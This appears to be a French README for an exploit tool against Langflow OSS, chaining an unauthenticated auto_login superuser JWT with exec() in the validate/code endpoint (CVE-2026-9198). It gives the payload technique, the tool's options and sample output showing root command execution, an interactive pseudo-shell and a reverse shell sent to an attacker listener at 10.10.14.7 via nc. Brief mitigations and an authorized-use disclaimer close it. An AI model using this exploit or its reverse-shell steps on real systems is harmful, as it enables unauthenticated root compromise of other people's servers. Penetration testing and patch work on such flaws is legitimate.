
Exploit RCE non authentifié pour Langflow OSS enchaînant le contournement JWT auto_login avec validate/code exec() pour réaliser une exécution de commandes à distance et des shells inversés.
Exécution de code à distance non authentifiée dans IBM Langflow OSS (1.0.0 – 1.10.0) sur un déploiement par défaut. Combine deux failles :
GET /api/v1/auto_login génère un JWT SUPERUSER pour tout appelant sans identifiants lorsque AUTO_LOGIN est activé (valeur par défaut dans Langflow < 1.5).POST /api/v1/validate/code transmet du Python fourni par l'utilisateur à exec() sans bac à sable.Ensemble (CVE-2026-9198), un attaquant non authentifié obtient une exécution de code en tant qu'utilisateur du service Langflow — qui est souvent root.
Demande un jeton porteur superutilisateur à /api/v1/auto_login (sans authentification).
Soumet une charge utile à /api/v1/validate/code. Le point de terminaison exécute exec() sur le code pour le « valider » ; Python évalue les valeurs d'arguments par défaut au moment de la définition, donc la charge utile est encapsulée dans un argument par défaut de fonction :
def _v(a=exec('<payload>')): pass
Pour l'exécution de commande, la charge utile lève une exception dont le message est la sortie de la commande, que le point de terminaison reflète dans la réponse (function.errors[]).
./exploit.py -t <target> [options]
-t, --target hôte/IP cible (ou URL complète) (obligatoire)
-p, --port port Langflow (défaut 7860)
-c, --cmd exécuter une commande shell unique, afficher la sortie
--shell pseudo-shell interactif (chaque ligne s'exécute via le RCE)
--lhost adresse IP du listener reverse-shell
--lport port du listener reverse-shell (défaut 4444)
-k, --token utiliser ce jeton porteur (ignorer auto_login)
--timeout délai d'attente HTTP en secondes (défaut 20)
--no-banner supprimer la bannière
-h, --help afficher l'aide
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install)AUTO_LOGIN est activé (valeur par défaut pour Langflow < 1.5 ; sur >= 1.5, il doit être explicitement LANGFLOW_AUTO_LOGIN=true). Si auto_login ne renvoie aucun jeton, la cible n'est pas exploitable par cette voie — fournissez un jeton valide avec -k si vous en avez un.function.errors[] ; stderr est fusionné avec stdout afin que les commandes échouées affichent quand même leur erreur.root (courant avec langflow run nu sous systemd/Docker en tant que root), il s'agit d'un accès root direct à l'hôte.validate/code ne doit pas exec() des entrées non fiables et auto_login ne doit pas générer de jetons superutilisateur.LANGFLOW_AUTO_LOGIN=false et configurez de véritables identifiants superutilisateur.root.Ce projet est publié uniquement à des fins de tests de sécurité autorisés et d'éducation. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive.